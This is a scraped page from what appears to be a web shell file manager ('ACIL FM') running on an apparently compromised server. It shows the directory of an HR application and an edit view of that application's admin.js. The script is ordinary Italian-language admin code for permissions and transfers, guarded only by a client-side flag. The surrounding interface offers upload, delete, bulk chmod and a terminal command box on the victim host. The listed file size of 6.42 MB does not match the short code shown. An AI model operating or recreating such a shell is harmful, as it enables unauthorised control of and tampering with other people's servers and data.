ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR/scripts/admin
/
home
mhhtmff
app
NH-HR
scripts
admin
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
admin.js
6.42 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR/scripts/admin/admin.js
function openAdminPage() { if (auth_user == 1) { document.getElementById("admin_page").style.display = 'block'; document.getElementById("open_admin_page").click(); var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (this.readyState == 4 && this.status == 200) { document.querySelector("#admin_page_content").innerHTML = this.responseText; } }; xmlhttp.open("GET", "php/admin/admin_page_content.php"); xmlhttp.send(); } else { openLoginSection(); } } function personDetail(user_id) { if (auth_user == 1) { document.getElementById("person_detail").style.display = 'block'; document.getElementById("open_person_detail").click(); var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (this.readyState == 4 && this.status == 200) { document.querySelector("#person_detail_content").innerHTML = this.responseText; $(document).ready( function () { new DataTable('#person_permissions_table', { paging: false, scrollCollapse: true, scrollY: '40vh', order: [[0, 'desc']], dom: 'Bfrtip', buttons: [ 'copy', 'excel', 'pdf' ] }); } ); } }; xmlhttp.open("GET", "php/admin/person_detail_content.php?id="+user_id); xmlhttp.send(); } else { openLoginSection(); } } function permissionDetail(id) { if (auth_user == 1) { document.getElementById("permission_detail").style.display = 'block'; document.getElementById("open_permission_detail").click(); var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (this.readyState == 4 && this.status == 200) { document.querySelector("#permission_detail_content").innerHTML = this.responseText; } }; xmlhttp.open("GET", "php/admin/permission_detail_content.php?id="+id); xmlhttp.send(); } else { openLoginSection(); } } function managePermission(result, id) { $.ajax({ type: "POST", url: "php/admin/manage_permission.php", data: { id: id, result : result }, success: function (res) { if (res === 'error') { Swal.fire({ type: 'error', text: 'Errore: ' + res }); } else { Swal.fire({ type: 'success', title: 'Permesso '+result+' con successo!', showConfirmButton: false, timer: 2000 }); document.querySelector('#close_person_detail').click(); permissionDetail(id); } } }); } function transferDetail(id) { if (auth_user == 1) { document.getElementById("transfer_detail").style.display = 'block'; document.getElementById("open_transfer_detail").click(); var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (this.readyState == 4 && this.status == 200) { document.querySelector("#transfer_detail_content").innerHTML = this.responseText; } }; xmlhttp.open("GET", "php/admin/transfer_detail_content.php?id="+id); xmlhttp.send(); } else { openLoginSection(); } } function manageTransfer(result, id) { $.ajax({ type: "POST", url: "php/admin/manage_transfer.php", data: { id: id, result : result }, success: function (res) { if (res === 'error') { Swal.fire({ type: 'error', text: 'Errore: ' + res }); } else { Swal.fire({ type: 'success', title: 'Trasferta '+result+' con successo!', showConfirmButton: false, timer: 2000 }); document.querySelector('#close_person_detail').click(); transferDetail(id); } } }); } function showUserStamps(user_id) { if (auth_user == 1) { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (this.readyState == 4 && this.status == 200) { document.querySelector("#collapse5").innerHTML = this.responseText; $(document).ready( function () { new DataTable('#person_stamp_table', { paging: false, scrollCollapse: true, scrollY: '40vh', order: [[0, 'desc']], dom: 'Bfrtip', buttons: [ 'copy', 'excel', 'pdf' ] }); } ); } }; xmlhttp.open("GET", "php/admin/user_stamps.php?id="+user_id); xmlhttp.send(); } else { openLoginSection(); } } function showUserTransfers(user_id) { if (auth_user == 1) { var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function () { if (this.readyState == 4 && this.status == 200) { document.querySelector("#collapse6").innerHTML = this.responseText; $(document).ready( function () { new DataTable('#person_transfer_table', { paging: false, scrollCollapse: true, scrollY: '40vh', order: [[0, 'desc']], dom: 'Bfrtip', buttons: [ 'copy', 'excel', 'pdf' ] }); } ); } }; xmlhttp.open("GET", "php/admin/user_transfers.php?id="+user_id); xmlhttp.send(); } else { openLoginSection(); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply